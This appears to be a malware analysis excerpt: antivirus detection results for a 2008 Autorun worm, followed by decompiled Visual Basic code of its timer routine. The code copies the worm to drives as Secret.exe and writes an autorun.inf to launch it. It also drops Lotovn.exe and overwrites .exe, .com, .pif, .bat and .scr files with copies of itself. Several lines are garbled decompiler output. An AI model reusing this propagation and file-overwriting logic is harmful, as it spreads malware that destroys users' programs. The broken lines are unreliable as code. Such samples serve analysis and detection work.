F-Prot	4.4.2.54	2008.05.16	W32/SysKeylog.B.gen!Eldorado
F-Secure	6.70.13260.0	2008.05.20	Trojan-Downloader.Win32.Agent.ghs
Fortinet	3.14.0.0	2008.05.20	-
GData	2.0.7306.1023	2008.05.20	Trojan-Downloader.Win32.Agent.ghs
Ikarus	T3.1.1.26.0	2008.05.20	Trojan-Spy.Win32.VB.kk
Kaspersky	7.0.0.125	2008.05.20	Trojan-Downloader.Win32.Agent.ghs
McAfee	5298	2008.05.19	W32/Autorun.worm.bm
Microsoft	1.3408	2008.05.13	Worm:Win32/Autorun.BP

Private Sub Timer2_Timer() '411D2C
  'Data Table: 40B754
  loc_4114E4: On Error Goto 0
  loc_4114F4: ext_40104C
  loc_4114FF: SetVarVarFunc
  loc_411506: VarLateMemLdVar
  loc_41150F: SetVarVarFunc
  loc_411515: var_B6 = &H0
  loc_411520: ForEachVar
  loc_41152B: VarLateMemLdVar
  loc_411531: var_14C = 1
  loc_411546: ext_401080
  loc_411551: ext_401024
  loc_411563: var_1AC = var_17C And (var_17C <> "A")
  loc_411572: ext_401080
  loc_41157D: ext_401024
  loc_4115A2: If CBool(var_1CC And (var_1CC <> "B")) Then
  loc_4115A9:   var_B6 = &HFF
  loc_4115BF:   var_15C = var_94 & "\" & "Secret.exe" 
  loc_4115C7:   VarLateMemCallLdVar
  loc_4115DE:   If CBool(Not var_CC) Then
  loc_41162A:     var_21C = CStr(var_94 & "\" & "Secret.exe")
  loc_411643:     var_218 = App.Path & "\" & App.EXEName & ".exe"
  loc_411646:     ext_401068
  loc_411684:     var_204 = CStr(var_94 & "\" & "Secret.exe")
  loc_411688:     ext_401088
  loc_411697:   End If
  loc_4116A3:   var_12C = var_94 & "\autorun.inf" 
  loc_4116AB:   VarLateMemCallLdVar
  loc_4116BC:   If CBool(var_CC) Then
  loc_4116C1:     On Error Goto loc_4116FC
  loc_4116D7:     var_204 = CStr(var_94 & "\autorun.inf")
  loc_4116DB:     ext_401088
  loc_4116F0:     var_12C = var_94 & "\autorun.inf" 
  loc_4116F4:     ext_401028
  loc_4116FC:   End If
  loc_4116FC:   ' Referenced from: 4116C1
  loc_411714:   Open CStr(var_94 & "\autorun.inf") For Output As &H1 Len = &HFF
  loc_411725:   Print &H1, "[AUTORUN]"
  loc_411732:   Print &H1, "Shellexecute=Secret.exe"
  loc_41173C:   Close &H1
  loc_411751:   var_204 = CStr(var_94 & "\autorun.inf")
  loc_411755:   ext_401088
  loc_41176C:   VarLateMemCallLdRfVar
  loc_411776:   var_CC(var_94)(var_204) = &H6
  loc_411777:   DOC
  loc_41177E:   var_2BCB = ""
  loc_411781:   ThisVCallUI1
  loc_411789:   var_2B77 = InStr("", "", &H0, CInt(""))
  loc_41178D:   ExitForCollObj
  loc_411794:   FnStrComp3
  loc_411798:   DOC
  loc_41179D:   StLsetFixStr
  loc_4117A2:   CCur(("" * ("" < CInt("")(""))))("") = ""
  loc_4117A3:   DOC
  loc_4117A5:   arg_40FE = ""
  loc_4117B3:   arg_38FE = CSng(arg_25FE(13316))
  loc_4117BB: Next var_2 'Integer
  loc_4117C3: LateIdCallSt
  loc_4117CC: InvalidExcode &HFC048F00
  loc_4117D1: If -var_2C00 Then
  loc_4117E3:    = App.Path
  loc_411804:   VarLateMemLdVar
  loc_41181C:   var_21C = CStr(var_11C & "\" & "Lotovn.exe")
  loc_411835:   var_218 = "" & "\" & App.EXEName & ".exe"
  loc_411838:   ext_401068
  loc_411861:   VarLateMemLdVar
  loc_411883:   var_204 = CStr("" & "\" & "Lotovn.exe")
  loc_411887:   ext_401088
  loc_41189C:   ExitForVar
  loc_4118A7: NextEachVar
  loc_4118BC: LitVarUI1
  loc_4118C2: Exit Sub
  loc_4118C5: arg_1000 = (%x2 < CSng(arg_400C(13316)))
  loc_4118CB: VarLateMemLdVar
  loc_4118D4: SetVarVarFunc
  loc_4118DE: ForEachVar
  loc_4118E9: VarLateMemLdVar
  loc_4118FB: VarLateMemLdVar
  loc_411905: var_204 = CStr(var_94 & "\" & var_10C)
  loc_411912: var_B4 = CVar(ext_401074) 'Variant
  loc_411962: var_1BC = (var_B4 = 5) Or (var_B4 = 6) Or (var_B4 = 7) Or (var_B4 = 36)
  loc_41199B: If CBool(var_1BC Or (var_B4 = 37) Or (var_B4 = 38) Or (var_B4 = 39)) Then
  loc_4119A3:   VarLateMemLdRfVar
  loc_4119AE:   VarLateMemLdRfVar
  loc_4119B9:   VarLateMemLdRfVar
  loc_4119C4:   VarLateMemLdRfVar
  loc_4119CF:   VarLateMemLdRfVar
  loc_4119E2:   ext_401084
  loc_4119ED:   ext_401004
  loc_4119F5:   var_14C = ".exe"
  loc_411A0A:   ext_401084
  loc_411A15:   ext_401004
  loc_411A27:   var_1EC = var_1BC Or (var_1BC = ".com")
  loc_411A36:   ext_401084
  loc_411A41:   ext_401004
  loc_411A53:   var_2BC = var_29C Or (var_29C = ".pif")
  loc_411A62:   ext_401084
  loc_411A6D:   ext_401004
  loc_411A7F:   var_30C = var_2EC Or (var_2EC = ".bat")
  loc_411A8E:   ext_401084
  loc_411A99:   ext_401004
  loc_411AD2:   If CBool(var_33C Or (var_33C = ".scr")) Then
  loc_411ADA:     VarLateMemLdVar
  loc_411AEC:     VarLateMemLdVar
  loc_411AF6:     var_204 = CStr(var_94 & "\" & var_10C)
  loc_411B70:     If (App.Path & "\" & App.EXEName & ".exe" <> ext_40106C) Then
  loc_411B78:       VarLateMemLdVar
  loc_411B7F:       var_BC = CStr(var_10C)
  loc_411B8A:       VarLateMemLdVar
  loc_411B95:       VarLateMemLdVar
  loc_411BB5:       var_204 = CStr("" & "\" & "")
  loc_411BB9:       ext_401088
  loc_411BD1:       VarLateMemLdVar
  loc_411BE3:       VarLateMemLdVar
  loc_411BE9:       var_17C = var_94 & "\" & var_10C 
  loc_411BED:       ext_401028
  loc_411C34:       VarLateMemLdVar
  loc_411C4D:       var_21C = CStr(var_94 & "\" & CVar(var_BC))
  loc_411C66:       var_218 = App.Path & "\" & App.EXEName & ".exe"
  loc_411C69:       ext_401068
  loc_411C92:       VarLateMemLdVar
  loc_411CB5:       var_204 = CStr("" & "\" & CVar(var_BC))
  loc_411CB9:       ext_401088
  loc_411CCA:     End If
  loc_411CCC:   End If
  loc_411CCE: End If
  loc_411CD5: NextEachVar
  loc_411CE2: NextEachVar
  loc_411CF0: If var_94 Then
  loc_411D04:   Timer2.Interval = &H3E8
  loc_411D0C:   GoTo loc_411D28
  loc_411D0F: End If
  loc_411D20: Timer2.Interval = &H3A98
  loc_411D28: ' Referenced from: 411D0C
  loc_411D2A: Exit Sub
End Sub